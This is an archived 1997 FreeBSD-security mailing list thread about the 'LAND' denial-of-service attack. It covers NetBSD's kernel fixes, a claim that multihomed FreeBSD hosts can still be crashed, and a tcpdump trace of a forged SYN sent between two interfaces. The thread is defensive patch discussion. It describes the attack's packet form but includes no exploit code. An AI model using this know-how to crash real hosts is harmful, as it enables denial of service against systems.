mclearkey(1), mdetach(1), mdecrypt(1), mgetopt(1), msetopt(1), 2 mlist(1) mlist(1) mstats(1), minfo(1), mlist(1). From owner-freebsd-security Sat Nov 22 12:06:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA22822 for security-outgoing; Sat, 22 Nov 1997 12:06:05 -0800 (PST) (envelope-from owner-freebsd-security) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA22815 for ; Sat, 22 Nov 1997 12:06:02 -0800 (PST) (envelope-from fenner@parc.xerox.com) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <52774(4)>; Sat, 22 Nov 1997 12:05:20 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177476>; Sat, 22 Nov 1997 12:05:08 -0800 To: Don Lewis cc: Darren Reed , jas@flyingfox.com, robert@cyrus.watson.org, security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd)g In-reply-to: Your message of "Sat, 22 Nov 97 03:25:54 PST." <199711221125.DAA17122@salsa.gv.tsc.tdk.com> Date: Sat, 22 Nov 1997 12:04:57 PST From: Bill Fenner Message-Id: <97Nov22.120508pst.177476@crevenia.parc.xerox.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The one caveat is that it means that an old SYN/ACK from a connection that was established in the other direction could assassinate a new connection. But sequence numbers would have to have wrapped, and TCP assumes that you don't get old duplicates after the sequence numbers have wrapped anyway, so I suspect this is safe. Bill From owner-freebsd-security Sat Nov 22 17:50:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA10151 for security-outgoing; Sat, 22 Nov 1997 17:50:53 -0800 (PST) (envelope-from owner-freebsd-security) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA10118 for ; Sat, 22 Nov 1997 17:50:42 -0800 (PST) (envelope-from avalon@coombs.anu.edu.au) Message-Id: <199711230150.RAA10118@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA194959805; Sun, 23 Nov 1997 12:50:06 +1100 Date: Sun, 23 Nov 1997 12:50:06 +1100 From: Darren Reed Apparently-To: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >From owner-bugtraq@NETSPACE.ORG Sun Nov 23 10:52:48 EDT 1997 remote from cheops Received: from brimstone.netspace.org by postbox.anu.edu.au with ESMTP (1.37.109.16/16.2) id AA065112764; Sun, 23 Nov 1997 10:52:44 +1100 Received: from unknown@netspace.org (port 19009 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97815-18069>; Sat, 22 Nov 1997 18:01:59 -0500 Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with spool id 5806752 for BUGTRAQ@NETSPACE.ORG; Sat, 22 Nov 1997 17:57:38 -0500 Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id RAA30774 for ; Sat, 22 Nov 1997 17:46:32 -0500 Received: from unknown@netspace.org (port 19009 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97470-15165>; Sat, 22 Nov 1997 17:46:08 -0500 Approved-By: aleph1@UNDERGROUND.ORG Received: from bikini.ai.mit.edu (bikini.ai.mit.edu [128.52.32.254]) by netspace.org (8.8.7/8.8.2) with ESMTP id OAA24040 for ; Sat, 22 Nov 1997 14:43:09 -0500 Received: (from mycroft@localhost) by bikini.ai.mit.edu (8.8.7/8.8.6) id OAA08548; Sat, 22 Nov 1997 14:47:21 -0500 (EST) References: Lines: 25 X-Mailer: Gnus v5.3/Emacs 19.34 Message-Id: Date: Sat, 22 Nov 1997 14:47:20 -0500 Reply-To: "Charles M. Hannum" Sender: avalon From: "Charles M. Hannum" Subject: Re: "LAND" Attack Update X-To: Aleph One To: BUGTRAQ@NETSPACE.ORG In-Reply-To: mycroft@mit.edu's message of 22 Nov 1997 14:19:11 -0500 mycroft@mit.edu (Charles M. Hannum) writes: > > 2) A socket in LISTEN state is not initiating a connection attempt, so > if it receives a SYN-only packet from itself, it *must* be a > forgery. A self-connect would cause the socket to no longer be in > LISTEN state before the SYN-only packet arrives. There's no point > in sending a RST in this case, since we'd just be sending it to > ourselves. > > (Actually, this change isn't really complete; in theory, if the > LISTEN socket was bound to INADDR_ANY, then we should check whether > the source address of the SYN was any of our local addreses, not > just that it matches the destination. However, a failure to detect > the attack at this point will merely generate an extra SYN+ACK that > will be dropped by the first change.) BTW, on a related note... The FreeBSD hack to `fix' (or not allow) self-connects DOES NOT WORK FOR MULTIHOMED HOSTS. It's still possible to crash a multihomed FreeBSD system by locally running a program that connects a TCP socket to itself. From owner-freebsd-security Sat Nov 22 18:08:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA10791 for security-outgoing; Sat, 22 Nov 1997 18:08:13 -0800 (PST) (envelope-from owner-freebsd-security) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA10783 for ; Sat, 22 Nov 1997 18:08:08 -0800 (PST) (envelope-from danny@panda.hilink.com.au) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id NAA23759; Sun, 23 Nov 1997 13:08:04 +1100 (EST) Date: Sun, 23 Nov 1997 13:08:02 +1100 (EST) From: "Daniel O'Callaghan" To: freebsd-security@freebsd.org Subject: Re: "LAND" Attack Update (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ---------- Forwarded message ---------- Date: Sat, 22 Nov 1997 14:19:11 -0500 From: Charles M. Hannum To: BUGTRAQ@NETSPACE.ORG Subject: Re: "LAND" Attack Update [Preface: I'd like to point out that a couple of groups are, inadvertantly or otherwise, pulling a sneaky little bait-and-switch trick. Since they've now patched around the `land' bug, they now claim they are not vulnerable, misleading people into thinking that their systems are safe, when they may very well not be running code that predates the patch, and therefore actually be quite vulnerable. I find this trend very disturbing.] The changes we've made in NetBSD to deal with the `land' attack are: 1) If a socket in LISTEN state receives a SYN+ACK packet, then send a RST and drop the packet. 2) If a socket in LISTEN state receives a SYN-only packet claiming to be from itself, then drop the packet. The rationale for this is as follows: 1) Since the initial sequence number cannot possibly be known, it is never correct to send an ACK before an initial SYN has been sent. A socket in LISTEN state didn't send a SYN, unless it was a SYN+ACK, in response to a SYN-only packet, in the second stage of the 3WHS. In this case, we would not expect to get another SYN; we should instead get an ACK-only packet to complete the 3WHS. We treat the stray SYN+ACK the same as data for an old connection. 2) A socket in LISTEN state is not initiating a connection attempt, so if it receives a SYN-only packet from itself, it *must* be a forgery. A self-connect would cause the socket to no longer be in LISTEN state before the SYN-only packet arrives. There's no point in sending a RST in this case, since we'd just be sending it to ourselves. (Actually, this change isn't really complete; in theory, if the LISTEN socket was bound to INADDR_ANY, then we should check whether the source address of the SYN was any of our local addreses, not just that it matches the destination. However, a failure to detect the attack at this point will merely generate an extra SYN+ACK that will be dropped by the first change.) Interestingly, SunOS (not Solaris) appears to do #1, but still freezes up. I haven't investigated why. From owner-freebsd-security Sat Nov 22 20:24:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA16996 for security-outgoing; Sat, 22 Nov 1997 20:24:06 -0800 (PST) (envelope-from owner-freebsd-security) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA16991 for ; Sat, 22 Nov 1997 20:24:02 -0800 (PST) (envelope-from fenner@parc.xerox.com) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <53511(5)>; Sat, 22 Nov 1997 20:23:30 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177476>; Sat, 22 Nov 1997 20:23:27 -0800 To: "Charles M. Hannum" cc: BUGTRAQ@netspace.org, fenner@parc.xerox.com, security@freebsd.org Subject: Re: "LAND" Attack Update In-reply-to: Your message of "Sat, 22 Nov 97 11:47:20 PST." Date: Sat, 22 Nov 1997 20:23:15 PST From: Bill Fenner Message-Id: <97Nov22.202327pst.177476@crevenia.parc.xerox.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk "Charles M. Hannum" wrote: >The FreeBSD hack to `fix' (or not allow) self-connects DOES NOT WORK >FOR MULTIHOMED HOSTS. It's still possible to crash a multihomed >FreeBSD system by locally running a program that connects a TCP socket >to itself. Can you expand on that a little? I first thought that it was possible to get this pathology to happen on a multi-homed host by using two different interfaces as the source and destination, but haven't yet been able to exploit it. (You'd expect that it would work on single-homed hosts too, with a source address of 127.0.0.1, but I can't get that to cause trouble either). It's not possible to do a self-connect using two different interfaces, since if you bind to an interface then you also have to connect to that interface or it's not a self-connect, so I'm not sure what you mean by locally running a program that connects a TCP socket to itself. Assuming that you meant locally running something like land.c which sends a packet forged from one interface destined for another, I've tried that. On a host which is vulnerable to the "standard" attack, I see the following packets when I forge a SYN from one interface address to the other: 20:21:32.187983 InterfaceA.telnet > InterfaceB.telnet: S 1:1(0) win 1024 (ttl 255, id 69) 20:21:32.188092 InterfaceB.telnet > InterfaceA.telnet: S 95950695:95950695(0) ack 2 win 16384 (DF) (ttl 64, id 409) 20:21:32.188113 InterfaceA.telnet > InterfaceB.telnet: R 2:2(0) win 16384 (ttl 64, id 410) Bill From owner-freebsd-security Sat Nov 22 22:41:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA22782 for security-outgoing; Sat, 22 Nov 1997 22:41:04 -0800 (PST) (envelope-from owner-freebsd-security) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA22772 for ; Sat, 22 Nov 1997 22:41:02 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id WAA09478; Sat, 22 Nov 1997 22:42:01 -0800 (PST) Date: Sat, 22 Nov 1997 22:42:01 -0800 (PST) From: Jim Shankland Message-Id: <199711230642.WAA09478@biggusdiskus.flyingfox.com> To: security@freebsd.org Subject: Re: LAND attack update Cc: mycroft@MIT.EDU Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk mycroft@mit.edu (Charles M. Hannum) allegedly wrote: > The FreeBSD hack to `fix' (or not allow) self-connects DOES NOT WORK > FOR MULTIHOMED HOSTS. It's still possible to crash a multihomed > FreeBSD system by locally running a program that connects a TCP socket > to itself. Really? Show me. Jim Shankland Flying Fox Computer Systems, Inc.